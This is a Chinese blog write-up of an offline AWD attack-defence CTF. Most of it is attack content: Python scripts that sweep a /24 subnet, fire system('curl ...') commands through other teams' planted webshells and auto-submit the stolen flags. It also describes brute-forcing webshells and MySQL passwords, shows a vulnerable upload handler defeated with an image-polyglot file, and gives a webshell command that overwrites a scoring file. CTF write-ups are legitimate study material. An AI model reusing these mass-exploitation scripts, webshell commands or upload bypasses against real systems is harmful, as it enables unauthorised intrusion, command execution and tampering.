awd的批量脚本 pwn_湖湘杯线下AWD记录

博客讲述了作者在AWD(攻防大战)竞赛中利用批量脚本进行漏洞利用和得分的过程。首先,发现并利用了.shell.php菜刀马,编写脚本循环删除恶意文件,并批量获取flag。接着,通过搜索关键字找到更多后门,扩大攻击范围。最后,通过目录遍历漏洞和任意文件上传,成功拿下目标站点并持续刷新得分,直至比赛结束。
摘要由CSDN通过智能技术生成

发现一个 .shell.php菜刀马,密码c ,但是是root权限创建,并且有定时任务一直写入,无法删除,可以选择写一个 while循环删除他。然后根据.shell.php去批量拿flag。

#coding=utf-8

import requests

import re

from gevent import pool

from gevent import monkey

from gevent import lock

monkey.patch_all()

port="80"

payload = {"c": 'system('curl http://172.16.0.225:8000/flag');'}

heads = {"cookie":"PHPSESSID=censulo0283idutu58ap6lvem7; xdgame_username=hacker"}

def f(flag):

data = {"key": flag}

try:

req =requests.post("http://172.16.0.225/index.php/wargame/submit", data=data, headers=heads, timeout=2)

title = re.findall('

(.*?)', req.text, re.S)

return title

except Exception as e:

pass

webshelllist=open("webshelllist.txt","w")

flag = open("firstround_flag.txt","w")

def get_(ip):

url = "http://%s/.shell.php" % ip

try:

res = requests.post(url, payload, timeout=2)

print ip, f(str(res.text)), res.text,"bbb"

except Exception as e:

pass

def get_1(ip):

url = "http://%s/.config.php" % ip

payloads = {"cmd": 'system('curl http://172.16.0.225:8000/flag');'}

try:

res = requests.post(url, payloads, timeout=2)

if res.text:

print ip, f(str(res.text)), "aaa"

except Exception as e:

pass

pl = pool.Pool(254)

ipl = ["172.16.0.%s" % x for x in range(0, 254)]

pl.map(get_, ipl)

pl.join()

webshelllist.close()

flag.close()

脚本丢给队友去执行,继续审计代码,通过搜索eval关键字,成功又找到一枚后门

1

然后编写代码,继续批量拿flag,很多选手可能到后面才知道,ip段是 172.16.0.0/24 和 172.16.0.1/24

import requests

import re

from gevent import pool

from gevent import monkey

monkey.patch_all()

heads = {"cookie":"PHPSESSID=censulo0283idutu58ap6lvem7; xdgame_username=hacker",

"User-Agent": "hacker"}

proxy = {"http": "http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}

def f(flag):

data = {"key": flag}

try:

req =requests.post("http://172.16.0.225/index.php/wargame/submit", data=data, headers=heads, timeout=2)

title = re.findall('

(.*?)', req.text, re.S)

return title

except Exception as e:

f(flag)

def get_(ip):

url = "http://%s/3/gcount/styles/.web2/?a=system('curl http://172.16.0.225:8000/flag');" % ip

try:

res = requests.post(url, timeout=2)

print res.status_code

if res.status_code == 200:

print ip, f(str(res.text.strip())), res.text, "bbb"

except Exception as e:

pass

pl = pool.Pool(100)

ipl = ["172.16.0.%s" % x for x in range(0, 254)]

#ipl = ["172.16.1.%s" % x for x in range(0, 254)]

pl.map(get_, ipl)

pl.join()

根据这个后门在最后一个小时里面,狂刷分到结束从第十一刷到第二。后面爆破了一下mysql,发现很多队伍都没有修改 mysql 的密码。

第一场 AWD 结束。

下午场

还是头一次参加这种比赛,赛制为 在Web目录下的HIll/SCORE_POINTS的文件中写入你队伍的token,服务器每半个小时重置一次,每5分钟check一次,check时写入的成功队伍则得分。

web1.humensec.com

web2.humensec.com

web3.humensec.com

web4.humensec.com

web5.humensec.com

pwn1.humensec.com

pwn2.humensec.com

pwn3.humensec.com

刚刚开始一个个去测试漏洞,但是前面两个小时我们队伍题目都很难打开,只能扫选手的80端口玩玩,见到了搭建了乌云知识库的、搭建ctf笔记的、各种DVWA的。。。

“”” 省略一个小时 “””

后面发现web站都存在目录遍历,upload目录有别人的上传痕迹,刷新等webshell,然后爆破别人的webshell,成功拿下了web1.humensec.com,果断先扒下源码,简单审计一下:

知道别人是通过任意文件上传拿下的webshell,直接在源码里面搜索upload

代码:

/* Note: This thumbnail creation script requires the GD PHP Extension.

If GD is not installed correctly PHP does not render this page correctly

and SWFUpload will get "stuck" never calling uploadSuccess or uploadError

*/

// Get the session Id passed from SWFUpload. We have to do this to work-around the Flash Player Cookie Bug

@set_time_limit(0);

@error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);

ini_set('html_errors', '0');

define('SYSTEM_ROOT', str_replace("\", '/',substr(dirname(__FILE__),0,-10)));

include SYSTEM_ROOT.'include/common.inc.php';

if (isset($_POST["PHPSESSID"])) {

session_id($_POST["PHPSESSID"]);

}

session_start();

ini_set("html_errors", "0");

// Check the upload

if (!isset($_FILES["Filedata"]) || !is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] != 0) {

echo "err-1";

exit(0);

}

if (!is_array(@getimagesize($_FILES["Filedata"]["tmp_name"])))

{

echo "err-2";

exit(0);

}

if (!isset($_SESSION["file_info"])) {

$_SESSION["file_info"] = array();

}

$fileName = $_userid.'_'.time().mt_rand(10000,99999).'.'.strtolower(get_fileext($_FILES["Filedata"]["name"]));

$path=date('Y-m-d',time()).'/';

@mkdir(SYSTEM_ROOT.'upload/image/'.$path);

move_uploaded_file($_FILES["Filedata"]["tmp_name"], "../../upload/image/".$path. $fileName);

// 加水印

setwatermark(SYSTEM_ROOT.'upload/image/'.$path.$fileName);

echo "FILEID:" . $path.$fileName;

exit(0);

?>

只需要上传一个合成后的图片马,copy 1.jpg/b + 1.php new.jpg , 即可shell然后后面就是一直在刷新修改SCORE_POINTS文件。。。(北京梆梆和安恒一直和我们抢,抢的都没有我们的分多 hahahaha)

?ccc=system(‘echo “队伍名“>/var/www/Hill/SCORE_POINTS’);

tips:用IE6刷新速度贼快然后从 0 分,到最后一直刷新到了第四名。第二场 netkoth 结束

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值